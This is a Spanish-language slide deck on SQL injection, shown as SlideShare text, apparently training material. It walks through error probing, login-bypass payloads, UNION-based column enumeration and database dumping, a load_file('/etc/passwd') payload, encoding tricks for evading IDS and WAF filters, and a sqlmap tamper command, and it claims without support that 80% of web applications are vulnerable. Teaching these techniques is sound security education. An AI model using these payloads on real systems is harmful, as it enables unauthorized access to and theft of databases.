SlideShare ist ein Scribd-Unternehmen logo
1 von 41
Identificación de la
vulnerabilidad

Detección de errores

Estructura de una
inyección SQL

Bypass Loggin

Obtención de Datos

Evasión de Firewall
Es una vulnerabilidad catalogada de alto riesgo, por su
gran capacidad de interactuar firmemente con la base de
datos del servidor vulnerable, Actual mente el 80 % de las
aplicaciones en internet son vulnerables SQLI

Esta se debe a un pésimo filtrado de las variables de
entrada a la base de datos de una aplicación, esta
vulnerabilidad se explotara al momento de insertar código
SQL arbitrariamente en los campos mal filtrados.
$usuario= $_POST[„nombre‟];
$password=$_POST[„pass‟];
$sql= “SELECT * FROM usuarios WHERE
usuario=„$usuario‟ AND password=„$password‟”;


       El usuario y el password pasan sin ningún filtro
       directamente a la consulta de la base de datos.
El uso de las comillas simples antes
de realizar una inyección son
totalmente importantes pues nos
ayudan a identificar si el sistema es
vulnerable o no, ya que al insertarla
en un parámetro la respuesta por
parte del servidor será un error de
sintaxis SQL.
Los strings en sql son delimitados por comillas
simples („)
http://www.victima.com/seguridad/consultas.php?id=989%27

?id=989 --------------- parámetro vulnerable
%27 -------------------- comilla simple en Hexadecimal
http://www.victima.com/consultas.php?id=9‟
                                                 „
http://www.victima.com/consultas.php?id=9‟‟)‟‟
                                                 „‟)‟‟
http://www.victima.com/consultas.php?id=9*/*
                                                 */*
http://www.victima.com/consultas.php?id=9/*
                                                 /*
http://www.victima.com/consultas.php?id=9--
                                                 --
http://www.victima.com/consultas.php?id=9‟‟--
                                                 „‟- -
http://www.victima.com/consultas.php?id=9‟‟
                                                 ‟‟
http://www.victima.com/consultas.php?id=9#
                                                 #
Para pasarnos un loggin Se utiliza la sentencia OR ya
que esta significa que si algo es verdadero entonces
todo será verdadero OR 1=1 . Esto provocará que
automáticamente toda la consulta sea verdadera, sea
cual sea el usuario.


1.- V or V = VERDADERO-------------------- „‟OR 1=1 /* „
2.- V or F = VERDADERO-------------------- “OR 1=0 /* „
3.- F or V = VERDADERO-------------------- “OR 0=1 /* „
4.- F or F = FALSO----------------------------- “OR 0=0 /* ‟
admin‟ - -
  admin‟ #
  admin „ /*
  „ or 1=1- -
  „ or 1=1#
  „ or 1=0/*
  „) or 1=0
„1‟=„1- -
  „) or 1=1
(„1‟=„1 - -
  „) */ 1=0 #
Index.php?id=18+union+all+select+,1,2,3,4,5,6,7—

                         Ocurrió un error al intentar consultar la BD




Index.php?id=18+union+all+select+,1,2,3,4,5,6,7,8—

Ocurrió un error al intentar consultar la BD
The used SELECT statements have a different number of columns
Victima.php?id=-1 ORDER BY 1/*
Victima.php?id=-1 ORDER BY 2/*
Victima.php?id=-1 ORDER BY 3/*
Victima.php?id=-1 ORDER BY 4/*
Victima.php?id=-1 ORDER BY 5/*
Victima.php?id=-1 ORDER BY 6/*
Victima.php?id=-1 ORDER BY 7/* ----------- Error
victima.php?id=-1+union+all+select+1,2,3,4,5--
victima.php?id=-1+union+all+select+1,2,3,4,load_file('/etc/passwd')--
version()          versión de MySQL
database()         nombre de la BD
current_user()     usuario y host
last_insert_id()   ultimo valor de columna AUTO_INCREMENT
connection_id()    ID de una conexión
@@datadir          directorio de la db
Proporciona acceso a los metadatos de la base de
datos. El diccionario de datos o catalogo del sistema.
INFORMATION_SCHEMA.SCHEMATA

SCHEMATA--------------------------------Información acerca de la DB
TABLES-------------------------------------Proporciona información de las tablas
COLUMNS----------------------------------Información de columnas
STATISTICS--------------------------------Índices de tablas
COLUMN_PRIVILEGES-----------------Permisos de tablas




1+union+all+select+1,table_name,3,4,5+from+information_schema.tables
Una vez obtenido el nombre de la tabla, se realiza la
petición para ver su contenido.
Se concatena el las variables obtenidas anteriormente,
separadas por 0x3a para apreciar mejor el resultado.
OBJETIVO
Mostrar el ataque de
inyección SQL     y el
dumpeo de la BD. en un
ambiente controlado.
El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.
OBJETIVO
Mostrar la evasión de phpids
URL Encode
                                              3-------------------------- %33
                                              4-------------------------- %34
                                              5-------------------------- %35
                                              6-------------------------- %36
                                              A --------------------------%41
                    Útil para evadir          B --------------------------%42
                 detección de palabras        C --------------------------%43


El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.
El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.




 Cifra en Hexadecimal, útil cuando la
    aplicación emplea Url encode
El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.




Cifrando con el estándar
        Unicode
El atacante sabe que existen filtros que evitara la
   llegada de la inyección al servidor, el usara una
   combinación de caracteres y encriptaciones para
   saltarse los filtros y el IDS lo reconozca como
   validos.




remplaza los espacios en la petición por
%23randomText%0A, y después es cifrado con URL
encode
El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.




 Cifra con un random de caracteres en
             los espacios.
OBJETIVO
Mostrar la evasión de
un WAF , mediante
inyección a mano.
./sqlmap.py -u http://www.victima.com/id.php?id=1 -u --tamper
"space2morehash.py“--dbms
El resultado.
Intrucion a bases de datos
Intrucion a bases de datos
Intrucion a bases de datos

Weitere ähnliche Inhalte

Ähnlich wie Intrucion a bases de datos

Ponencia sql avanzado y automatizado
Ponencia sql avanzado y automatizadoPonencia sql avanzado y automatizado
Ponencia sql avanzado y automatizadon3xasec
 
Pandora FMS: Plugin de exchange de acceso de web
Pandora FMS: Plugin de exchange de acceso  de web Pandora FMS: Plugin de exchange de acceso  de web
Pandora FMS: Plugin de exchange de acceso de web Pandora FMS
 
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]RootedCON
 
Vulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones webVulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones webRealTIC
 
Soluciones de Oracle para la Auditoría, Seguridad y Gobierno de TI
Soluciones de Oracle para la Auditoría, Seguridad y Gobierno de TISoluciones de Oracle para la Auditoría, Seguridad y Gobierno de TI
Soluciones de Oracle para la Auditoría, Seguridad y Gobierno de TIMario Redón Luz
 
Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)
 Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017) Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)
Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)wpargentina
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sqljhom123
 
Airbase y KARMetasploit
Airbase y KARMetasploitAirbase y KARMetasploit
Airbase y KARMetasploitDaniel
 
Dot dotpwn v3.0beta campus party méxico 2011
Dot dotpwn v3.0beta   campus party méxico 2011Dot dotpwn v3.0beta   campus party méxico 2011
Dot dotpwn v3.0beta campus party méxico 2011Futura Networks
 
Dot dotpwn v3.0beta campus party méxico 2011
Dot dotpwn v3.0beta   campus party méxico 2011Dot dotpwn v3.0beta   campus party méxico 2011
Dot dotpwn v3.0beta campus party méxico 2011Futura Networks
 
Encriptación parte 1
Encriptación parte 1Encriptación parte 1
Encriptación parte 1Mian Rosales
 
Introducción a las vulnerabilidades web
Introducción a las vulnerabilidades webIntroducción a las vulnerabilidades web
Introducción a las vulnerabilidades webPablo Garaizar
 
Redes del computador unidad 3
Redes del computador unidad 3Redes del computador unidad 3
Redes del computador unidad 3AngelSoto104
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebEduardo Jalon
 

Ähnlich wie Intrucion a bases de datos (20)

Aprendiz unad
Aprendiz unadAprendiz unad
Aprendiz unad
 
Aprendiz unad
Aprendiz unadAprendiz unad
Aprendiz unad
 
Ponencia sql avanzado y automatizado
Ponencia sql avanzado y automatizadoPonencia sql avanzado y automatizado
Ponencia sql avanzado y automatizado
 
Pandora FMS: Plugin de exchange de acceso de web
Pandora FMS: Plugin de exchange de acceso  de web Pandora FMS: Plugin de exchange de acceso  de web
Pandora FMS: Plugin de exchange de acceso de web
 
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
 
Proxy
ProxyProxy
Proxy
 
Vulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones webVulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones web
 
Soluciones de Oracle para la Auditoría, Seguridad y Gobierno de TI
Soluciones de Oracle para la Auditoría, Seguridad y Gobierno de TISoluciones de Oracle para la Auditoría, Seguridad y Gobierno de TI
Soluciones de Oracle para la Auditoría, Seguridad y Gobierno de TI
 
Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)
 Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017) Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)
Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sql
 
Airbase y KARMetasploit
Airbase y KARMetasploitAirbase y KARMetasploit
Airbase y KARMetasploit
 
Dot dotpwn v3.0beta campus party méxico 2011
Dot dotpwn v3.0beta   campus party méxico 2011Dot dotpwn v3.0beta   campus party méxico 2011
Dot dotpwn v3.0beta campus party méxico 2011
 
Dot dotpwn v3.0beta campus party méxico 2011
Dot dotpwn v3.0beta   campus party méxico 2011Dot dotpwn v3.0beta   campus party méxico 2011
Dot dotpwn v3.0beta campus party méxico 2011
 
Seguridad so pii_2011
Seguridad so pii_2011Seguridad so pii_2011
Seguridad so pii_2011
 
Encriptación parte 1
Encriptación parte 1Encriptación parte 1
Encriptación parte 1
 
Introducción a las vulnerabilidades web
Introducción a las vulnerabilidades webIntroducción a las vulnerabilidades web
Introducción a las vulnerabilidades web
 
Redes del computador unidad 3
Redes del computador unidad 3Redes del computador unidad 3
Redes del computador unidad 3
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación Web
 
Proyecto 6
Proyecto 6Proyecto 6
Proyecto 6
 
Deploying Wordpress
Deploying WordpressDeploying Wordpress
Deploying Wordpress
 

Mehr von Rafael Seg

Precios y fechas 2015 certificaciones mile2 online
Precios y fechas 2015 certificaciones mile2 onlinePrecios y fechas 2015 certificaciones mile2 online
Precios y fechas 2015 certificaciones mile2 onlineRafael Seg
 
Computer forensics investigator & incident response windows[cfi ir]
Computer forensics investigator & incident response windows[cfi ir]Computer forensics investigator & incident response windows[cfi ir]
Computer forensics investigator & incident response windows[cfi ir]Rafael Seg
 
Tipos de Pentest
Tipos de PentestTipos de Pentest
Tipos de PentestRafael Seg
 
Ccfiw computer forensic investigations windows
Ccfiw computer forensic investigations windowsCcfiw computer forensic investigations windows
Ccfiw computer forensic investigations windowsRafael Seg
 
Testimonios de Agencias militares
Testimonios de Agencias militaresTestimonios de Agencias militares
Testimonios de Agencias militaresRafael Seg
 
Casestudy us army military, Mile2
Casestudy us army military,  Mile2Casestudy us army military,  Mile2
Casestudy us army military, Mile2Rafael Seg
 
N3XAsec CPTE plan de estudios detallado
N3XAsec CPTE plan de estudios detalladoN3XAsec CPTE plan de estudios detallado
N3XAsec CPTE plan de estudios detalladoRafael Seg
 
N3XAsec Catalogo de servicios
N3XAsec Catalogo de servicios N3XAsec Catalogo de servicios
N3XAsec Catalogo de servicios Rafael Seg
 
Plan de estudios
Plan de estudiosPlan de estudios
Plan de estudiosRafael Seg
 
Taller pentest android
Taller pentest androidTaller pentest android
Taller pentest androidRafael Seg
 
Forense android
Forense androidForense android
Forense androidRafael Seg
 
Tecnicas avanzadas de penetracion a sistemas
Tecnicas avanzadas de penetracion a sistemasTecnicas avanzadas de penetracion a sistemas
Tecnicas avanzadas de penetracion a sistemasRafael Seg
 

Mehr von Rafael Seg (12)

Precios y fechas 2015 certificaciones mile2 online
Precios y fechas 2015 certificaciones mile2 onlinePrecios y fechas 2015 certificaciones mile2 online
Precios y fechas 2015 certificaciones mile2 online
 
Computer forensics investigator & incident response windows[cfi ir]
Computer forensics investigator & incident response windows[cfi ir]Computer forensics investigator & incident response windows[cfi ir]
Computer forensics investigator & incident response windows[cfi ir]
 
Tipos de Pentest
Tipos de PentestTipos de Pentest
Tipos de Pentest
 
Ccfiw computer forensic investigations windows
Ccfiw computer forensic investigations windowsCcfiw computer forensic investigations windows
Ccfiw computer forensic investigations windows
 
Testimonios de Agencias militares
Testimonios de Agencias militaresTestimonios de Agencias militares
Testimonios de Agencias militares
 
Casestudy us army military, Mile2
Casestudy us army military,  Mile2Casestudy us army military,  Mile2
Casestudy us army military, Mile2
 
N3XAsec CPTE plan de estudios detallado
N3XAsec CPTE plan de estudios detalladoN3XAsec CPTE plan de estudios detallado
N3XAsec CPTE plan de estudios detallado
 
N3XAsec Catalogo de servicios
N3XAsec Catalogo de servicios N3XAsec Catalogo de servicios
N3XAsec Catalogo de servicios
 
Plan de estudios
Plan de estudiosPlan de estudios
Plan de estudios
 
Taller pentest android
Taller pentest androidTaller pentest android
Taller pentest android
 
Forense android
Forense androidForense android
Forense android
 
Tecnicas avanzadas de penetracion a sistemas
Tecnicas avanzadas de penetracion a sistemasTecnicas avanzadas de penetracion a sistemas
Tecnicas avanzadas de penetracion a sistemas
 

Intrucion a bases de datos

  • 1.
  • 2. Identificación de la vulnerabilidad Detección de errores Estructura de una inyección SQL Bypass Loggin Obtención de Datos Evasión de Firewall
  • 3. Es una vulnerabilidad catalogada de alto riesgo, por su gran capacidad de interactuar firmemente con la base de datos del servidor vulnerable, Actual mente el 80 % de las aplicaciones en internet son vulnerables SQLI Esta se debe a un pésimo filtrado de las variables de entrada a la base de datos de una aplicación, esta vulnerabilidad se explotara al momento de insertar código SQL arbitrariamente en los campos mal filtrados.
  • 4. $usuario= $_POST[„nombre‟]; $password=$_POST[„pass‟]; $sql= “SELECT * FROM usuarios WHERE usuario=„$usuario‟ AND password=„$password‟”; El usuario y el password pasan sin ningún filtro directamente a la consulta de la base de datos.
  • 5. El uso de las comillas simples antes de realizar una inyección son totalmente importantes pues nos ayudan a identificar si el sistema es vulnerable o no, ya que al insertarla en un parámetro la respuesta por parte del servidor será un error de sintaxis SQL.
  • 6. Los strings en sql son delimitados por comillas simples („)
  • 7. http://www.victima.com/seguridad/consultas.php?id=989%27 ?id=989 --------------- parámetro vulnerable %27 -------------------- comilla simple en Hexadecimal
  • 8. http://www.victima.com/consultas.php?id=9‟ „ http://www.victima.com/consultas.php?id=9‟‟)‟‟ „‟)‟‟ http://www.victima.com/consultas.php?id=9*/* */* http://www.victima.com/consultas.php?id=9/* /* http://www.victima.com/consultas.php?id=9-- -- http://www.victima.com/consultas.php?id=9‟‟-- „‟- - http://www.victima.com/consultas.php?id=9‟‟ ‟‟ http://www.victima.com/consultas.php?id=9# #
  • 9.
  • 10. Para pasarnos un loggin Se utiliza la sentencia OR ya que esta significa que si algo es verdadero entonces todo será verdadero OR 1=1 . Esto provocará que automáticamente toda la consulta sea verdadera, sea cual sea el usuario. 1.- V or V = VERDADERO-------------------- „‟OR 1=1 /* „ 2.- V or F = VERDADERO-------------------- “OR 1=0 /* „ 3.- F or V = VERDADERO-------------------- “OR 0=1 /* „ 4.- F or F = FALSO----------------------------- “OR 0=0 /* ‟
  • 11. admin‟ - - admin‟ # admin „ /* „ or 1=1- - „ or 1=1# „ or 1=0/* „) or 1=0 „1‟=„1- - „) or 1=1 („1‟=„1 - - „) */ 1=0 #
  • 12. Index.php?id=18+union+all+select+,1,2,3,4,5,6,7— Ocurrió un error al intentar consultar la BD Index.php?id=18+union+all+select+,1,2,3,4,5,6,7,8— Ocurrió un error al intentar consultar la BD The used SELECT statements have a different number of columns
  • 13. Victima.php?id=-1 ORDER BY 1/* Victima.php?id=-1 ORDER BY 2/* Victima.php?id=-1 ORDER BY 3/* Victima.php?id=-1 ORDER BY 4/* Victima.php?id=-1 ORDER BY 5/* Victima.php?id=-1 ORDER BY 6/* Victima.php?id=-1 ORDER BY 7/* ----------- Error
  • 16.
  • 17. version() versión de MySQL database() nombre de la BD current_user() usuario y host last_insert_id() ultimo valor de columna AUTO_INCREMENT connection_id() ID de una conexión @@datadir directorio de la db
  • 18. Proporciona acceso a los metadatos de la base de datos. El diccionario de datos o catalogo del sistema.
  • 19. INFORMATION_SCHEMA.SCHEMATA SCHEMATA--------------------------------Información acerca de la DB TABLES-------------------------------------Proporciona información de las tablas COLUMNS----------------------------------Información de columnas STATISTICS--------------------------------Índices de tablas COLUMN_PRIVILEGES-----------------Permisos de tablas 1+union+all+select+1,table_name,3,4,5+from+information_schema.tables
  • 20.
  • 21. Una vez obtenido el nombre de la tabla, se realiza la petición para ver su contenido.
  • 22. Se concatena el las variables obtenidas anteriormente, separadas por 0x3a para apreciar mejor el resultado.
  • 23.
  • 24. OBJETIVO Mostrar el ataque de inyección SQL y el dumpeo de la BD. en un ambiente controlado.
  • 25.
  • 26.
  • 27. El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.
  • 29.
  • 30. URL Encode 3-------------------------- %33 4-------------------------- %34 5-------------------------- %35 6-------------------------- %36 A --------------------------%41 Útil para evadir B --------------------------%42 detección de palabras C --------------------------%43 El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos.
  • 31. El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos. Cifra en Hexadecimal, útil cuando la aplicación emplea Url encode
  • 32. El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos. Cifrando con el estándar Unicode
  • 33. El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos. remplaza los espacios en la petición por %23randomText%0A, y después es cifrado con URL encode
  • 34. El atacante sabe que existen filtros que evitara la llegada de la inyección al servidor, el usara una combinación de caracteres y encriptaciones para saltarse los filtros y el IDS lo reconozca como validos. Cifra con un random de caracteres en los espacios.
  • 35. OBJETIVO Mostrar la evasión de un WAF , mediante inyección a mano.
  • 36. ./sqlmap.py -u http://www.victima.com/id.php?id=1 -u --tamper "space2morehash.py“--dbms
  • 37.